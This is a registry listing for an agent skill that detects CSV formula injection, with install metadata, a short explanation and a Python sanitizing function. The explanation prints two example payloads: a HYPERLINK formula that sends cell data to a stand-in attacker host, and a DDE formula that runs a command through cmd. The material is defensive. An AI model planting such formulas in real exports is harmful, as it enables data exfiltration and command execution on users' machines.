# CSV / Formula Injection (Spreadsheet Injection)

> Detects user-controlled data written to CSV files without sanitization, enabling formula injection in spreadsheet applications.

- Skill: `zakirkun/csv-formula-injection-spreadsheet-injection` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add zakirkun/csv-formula-injection-spreadsheet-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/zakirkun/csv-formula-injection-spreadsheet-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: zakirkun (https://skillmd.com/u/zakirkun)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/zakirkun/csv-formula-injection-spreadsheet-injection

---


# CSV / Formula Injection

## Overview
When user-controlled data is exported to CSV and a user opens it in Excel/LibreOffice, cells beginning with `=`, `+`, `-`, or `@` are interpreted as formulas. Attackers can inject:
- `=HYPERLINK("https://attacker.com?d="&A1,"Click here")` — exfiltrates data
- `=cmd|' /c calc.exe'!A0` — executes arbitrary commands (DDE attack)

This affects any application that exports CSV without sanitizing cell values.

## Remediation
Prefix dangerous characters with a single quote or tab, or wrap in double quotes:
```python
def sanitize_csv(value):
    if str(value).startswith(('=', '+', '-', '@', '\t', '\r')):
        return "'" + str(value)
    return value
```

